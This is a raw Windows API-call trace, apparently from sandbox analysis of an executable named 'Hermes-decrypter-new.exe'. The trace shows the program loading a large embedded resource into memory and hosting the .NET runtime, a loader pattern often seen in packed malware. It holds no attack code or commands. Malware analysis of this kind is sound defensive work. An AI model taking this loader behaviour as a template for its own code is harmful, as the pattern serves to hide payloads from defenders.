!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0271.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19fba0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf6\xdc\x60\xc1\xd8\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0271.880] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x423980, nSize=0x104 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0271.880] GetLastError () returned 0x0 [0271.880] SetLastError (dwErrCode=0x0) [0271.880] GetLastError () returned 0x0 [0271.880] SetLastError (dwErrCode=0x0) [0271.880] GetLastError () returned 0x0 [0271.880] SetLastError (dwErrCode=0x0) [0271.880] GetLastError () returned 0x0 [0271.880] SetLastError (dwErrCode=0x0) [0271.880] GetLastError () returned 0x0 [0271.880] SetLastError (dwErrCode=0x0) [0271.880] GetLastError () returned 0x0 [0271.880] SetLastError (dwErrCode=0x0) [0271.880] GetLastError () returned 0x0 [0271.881] SetLastError (dwErrCode=0x0) [0271.881] GetLastError () returned 0x0 [0271.881] SetLastError (dwErrCode=0x0) [0271.881] GetLastError () returned 0x0 [0271.881] SetLastError (dwErrCode=0x0) [0271.881] GetLastError () returned 0x0 [0271.881] SetLastError (dwErrCode=0x0) [0271.881] GetLastError () returned 0x0 [0271.881] SetLastError (dwErrCode=0x0) [0271.881] GetLastError () returned 0x0 [0271.881] SetLastError (dwErrCode=0x0) [0271.881] GetLastError () returned 0x0 [0271.881] SetLastError (dwErrCode=0x0) [0271.881] GetLastError () returned 0x0 [0271.881] SetLastError (dwErrCode=0x0) [0271.881] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.882] SetLastError (dwErrCode=0x0) [0271.882] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] GetLastError () returned 0x0 [0271.883] SetLastError (dwErrCode=0x0) [0271.883] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x2b) returned 0x2b11788 [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.884] GetLastError () returned 0x0 [0271.884] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.885] SetLastError (dwErrCode=0x0) [0271.885] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.886] SetLastError (dwErrCode=0x0) [0271.886] GetLastError () returned 0x0 [0271.887] SetLastError (dwErrCode=0x0) [0271.887] GetLastError () returned 0x0 [0271.887] SetLastError (dwErrCode=0x0) [0271.887] GetLastError () returned 0x0 [0271.887] SetLastError (dwErrCode=0x0) [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x98) returned 0x2b117c0 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1f) returned 0x2b11860 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x28) returned 0x2b11888 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x37) returned 0x2b118b8 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x3c) returned 0x2b118f8 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x31) returned 0x2b11940 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x14) returned 0x2b11980 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x24) returned 0x2b119a0 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xd) returned 0x2b119d0 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x17) returned 0x2b119e8 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x2b) returned 0x2b11a08 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x15) returned 0x2b11a40 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x17) returned 0x2b11a60 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x22) returned 0x2b11a80 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xe) returned 0x2b11ab0 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xc2) returned 0x2b11ac8 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x3e) returned 0x2b11b98 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1b) returned 0x2b11be0 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1d) returned 0x2b11c08 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x48) returned 0x2b11c30 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x12) returned 0x2b11c80 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x18) returned 0x2b11ca0 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1b) returned 0x2b11cc0 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x24) returned 0x2b11ce8 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x29) returned 0x2b11d18 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11d50 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x6b) returned 0x2b11d78 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x17) returned 0x2b11df0 [0271.887] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x14) returned 0x2b11e10 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xf) returned 0x2b11e30 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x16) returned 0x2b11e48 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x28) returned 0x2b11e68 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x27) returned 0x2b11e98 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x12) returned 0x2b11ec8 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x21) returned 0x2b11ee8 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x10) returned 0x2b11f18 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1c) returned 0x2b11f30 [0271.888] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x12) returned 0x2b11f58 [0271.888] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b10fd0 | out: hHeap=0x2b10000) returned 1 [0271.888] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77190000 [0271.888] GetProcAddress (hModule=0x77190000, lpProcName="IsProcessorFeaturePresent") returned 0x771a5960 [0271.888] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0271.889] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x80) returned 0x2b10fd0 [0271.889] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x800) returned 0x2b11f78 [0271.890] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4123af) returned 0x0 [0271.890] RtlSizeHeap (HeapHandle=0x2b10000, Flags=0x0, MemoryPointer=0x2b10fd0) returned 0x80 [0271.890] OleInitialize (pvReserved=0x0) returned 0x0 [0271.893] GetCurrentProcess () returned 0xffffffff [0271.893] GetCurrentProcess () returned 0xffffffff [0271.894] GetCurrentProcess () returned 0xffffffff [0271.895] GetCurrentProcess () returned 0xffffffff [0271.896] GetCurrentProcess () returned 0xffffffff [0271.897] GetCurrentProcess () returned 0xffffffff [0271.897] GetCurrentProcess () returned 0xffffffff [0271.898] GetCurrentProcess () returned 0xffffffff [0271.898] GetCurrentProcess () returned 0xffffffff [0271.899] GetCurrentProcess () returned 0xffffffff [0271.900] GetCurrentProcess () returned 0xffffffff [0271.905] GetCurrentProcess () returned 0xffffffff [0271.906] GetCurrentProcess () returned 0xffffffff [0271.906] GetCurrentProcess () returned 0xffffffff [0271.907] GetCurrentProcess () returned 0xffffffff [0271.908] GetCurrentProcess () returned 0xffffffff [0271.915] GetLastError () returned 0x0 [0271.915] SetLastError (dwErrCode=0x0) [0271.915] GetLastError () returned 0x0 [0271.915] SetLastError (dwErrCode=0x0) [0271.915] GetLastError () returned 0x0 [0271.915] SetLastError (dwErrCode=0x0) [0271.915] GetLastError () returned 0x0 [0271.915] SetLastError (dwErrCode=0x0) [0271.915] GetCurrentProcessId () returned 0xe08 [0271.915] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0xe08) returned 0x15c [0271.918] Module32First (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.919] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.919] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.920] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.920] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.921] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.922] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.923] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.923] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.924] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.924] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.925] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.926] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.926] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.927] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.928] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.928] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.929] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.929] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.930] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.931] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.931] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.932] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.933] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0271.933] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 0 [0271.934] CloseHandle (hObject=0x15c) returned 1 [0271.934] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0271.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fbf4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0271.935] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x6) returned 0xe60a68 [0271.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fbf4, cbMultiByte=-1, lpWideCharStr=0xe60a68, cchWideChar=3 | out: lpWideCharStr="__") returned 3 [0271.935] CharUpperBuffW (in: lpsz="__", cchLength=0x3 | out: lpsz="__") returned 0x3 [0271.935] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x6) returned 0xe60b58 [0271.935] CharUpperBuffW (in: lpsz="__", cchLength=0x2 | out: lpsz="__") returned 0x2 [0271.937] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x18) returned 0xe60520 [0271.937] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x4) returned 0xe60af8 [0271.937] HeapFree (in: hHeap=0xe60000, dwFlags=0x0, lpMem=0xe60b58 | out: hHeap=0xe60000) returned 1 [0271.937] HeapFree (in: hHeap=0xe60000, dwFlags=0x0, lpMem=0xe60a68 | out: hHeap=0xe60000) returned 1 [0271.938] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x2df5c) returned 0x2b20048 [0271.945] LockResource (hResData=0x2b20048) returned 0x2b20048 [0271.945] SizeofResource (hModule=0x400000, hResInfo=0xe60524) returned 0x2df5c [0271.946] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x2df5c) returned 0x2c20048 [0271.947] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40022) returned 0x2c4dfb0 [0271.954] SizeofResource (hModule=0x400000, hResInfo=0xe60524) returned 0x2df5c [0271.959] FreeResource (hResData=0x2b20048) returned 0 [0271.959] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x3f00e) returned 0x2c8dfe0 [0271.960] SizeofResource (hModule=0x400000, hResInfo=0xe60524) returned 0x2df5c [0271.961] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x2530) returned 0x2cccff8 [0271.966] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2cccff8 | out: hHeap=0x2b10000) returned 1 [0271.966] LoadLibraryA (lpLibFileName="mscoree.dll") returned 0x73b90000 [0271.969] GetCurrentProcess () returned 0xffffffff [0271.969] GetCurrentProcess () returned 0xffffffff [0271.970] GetCurrentProcess () returned 0xffffffff [0271.971] GetCurrentProcess () returned 0xffffffff [0271.971] GetCurrentProcess () returned 0xffffffff [0271.985] GetProcAddress (hModule=0x73b90000, lpProcName="CLRCreateInstance") returned 0x73ba5000 [0271.985] GetCurrentProcess () returned 0xffffffff [0271.988] GetCurrentProcess () returned 0xffffffff [0271.988] GetCurrentProcess () returned 0xffffffff [0271.989] GetCurrentProcess () returned 0xffffffff [0271.990] GetCurrentProcess () returned 0xffffffff [0271.991] GetCurrentProcess () returned 0xffffffff [0271.992] GetCurrentProcess () returned 0xffffffff [0271.994] GetCurrentProcess () returned 0xffffffff [0271.994] GetCurrentProcess () returned 0xffffffff [0271.995] GetCurrentProcess () returned 0xffffffff [0271.996] GetCurrentProcess () returned 0xffffffff [0271.997] GetCurrentProcess () returned 0xffffffff [0271.998] GetCurrentProcess () returned 0xffffffff [0271.998] GetCurrentProcess () returned 0xffffffff [0271.999] GetCurrentProcess () returned 0xffffffff [0272.000] GetCurrentProcess () returned 0xffffffff [0272.001] GetCurrentProcess () returned 0xffffffff [0272.006] GetCurrentProcess () returned 0xffffffff [0272.007] GetCurrentProcess () returned 0xffffffff [0272.007] GetCurrentProcess () returned 0xffffffff [0272.008] GetCurrentProcess () returned 0xffffffff [0272.009] GetCurrentProcess () returned 0xffffffff [0272.018] GetCurrentProcess () returned 0xffffffff [0272.019] GetCurrentProcess () returned 0xffffffff [0272.022] GetCurrentProcess () returned 0xffffffff [0272.023] GetCurrentProcess () returned 0xffffffff [0272.024] GetCurrentProcess () returned 0xffffffff [0272.025] GetCurrentProcess () returned 0xffffffff [0272.025] GetCurrentProcess () returned 0xffffffff [0272.026] GetCurrentProcess () returned 0xffffffff [0272.027] lstrlenA (lpString="v4.0.30319") returned 10 [0272.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2c8dfe0, cbMultiByte=11, lpWideCharStr=0x19fc18, cchWideChar=11 | out: lpWideCharStr="v4.0.30319") returned 11 [0272.045] GetCurrentProcess () returned 0xffffffff [0272.046] GetCurrentProcess () returned 0xffffffff [0272.046] GetCurrentProcess () returned 0xffffffff [0272.047] GetCurrentProcess () returned 0xffffffff [0272.067] GetCurrentProcess () returned 0xffffffff [0272.068] GetCurrentProcess () returned 0xffffffff [0272.068] GetCurrentProcess () returned 0xffffffff [0272.069] GetCurrentProcess () returned 0xffffffff [0272.078] GetCurrentProcess () returned 0xffffffff [0272.078] GetCurrentProcess () returned 0xffffffff [0272.079] GetCurrentProcess () returned 0xffffffff [0272.079] GetCurrentProcess () returned 0xffffffff [0272.081] GetCurrentProcess () returned 0xffffffff [0272.082] GetCurrentProcess () returned 0xffffffff [0272.099] GetCurrentProcess () returned 0xffffffff [0272.100] GetCurrentProcess () returned 0xffffffff [0272.101] GetCurrentProcess () returned 0xffffffff [0272.102] GetCurrentProcess () returned 0xffffffff [0272.113] GetCurrentProcess () returned 0xffffffff [0272.116] GetCurrentProcess () returned 0xffffffff [0272.116] GetCurrentProcess () returned 0xffffffff [0272.150] GetCurrentProcess () returned 0xffffffff [0272.150] GetCurrentProcess () returned 0xffffffff [0272.356] GetCurrentProcess () returned 0xffffffff [0272.357] GetCurrentProcess () returned 0xffffffff [0272.395] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xc) returned 0x2b11058 [0272.396] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xc) returned 0x2b11070 [0272.396] GetCurrentProcess () returned 0xffffffff [0272.397] GetCurrentProcess () returned 0xffffffff [0272.398] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x80010106 [0272.399] GetCurrentProcess () returned 0xffffffff [0272.400] GetCurrentProcess () returned 0xffffffff [0272.401] RoInitialize () returned 0x1 [0272.401] GetCurrentProcess () returned 0xffffffff [0272.401] GetCurrentProcess () returned 0xffffffff [0272.402] RoUninitialize () returned 0x0 [0272.404] GetCurrentProcess () returned 0xffffffff [0272.405] GetCurrentProcess () returned 0xffffffff [0272.478] SafeArrayAccessData (in: psa=0xd53518, ppvData=0x19fae8 | out: ppvData=0x19fae8) returned 0x0 [0272.478] SafeArrayUnaccessData (psa=0xd53518) returned 0x0 [0272.481] GetCurrentProcess () returned 0xffffffff [0272.482] GetCurrentProcess () returned 0xffffffff [0272.483] SafeArrayGetDim (psa=0xd53518) returned 0x1 [0272.483] SafeArrayGetDim (psa=0xd53518) returned 0x1 [0272.483] GetCurrentProcess () returned 0xffffffff [0272.484] GetCurrentProcess () returned 0xffffffff [0272.484] SafeArrayGetLBound (in: psa=0xd53518, nDim=0x1, plLbound=0x19f86c | out: plLbound=0x19f86c) returned 0x0 [0272.484] GetCurrentProcess () returned 0xffffffff [0272.485] GetCurrentProcess () returned 0xffffffff [0272.485] SafeArrayGetVartype (in: psa=0xd53518, pvt=0x19f7dc | out: pvt=0x19f7dc) returned 0x0 [0272.501] GetCurrentProcess () returned 0xffffffff [0272.502] 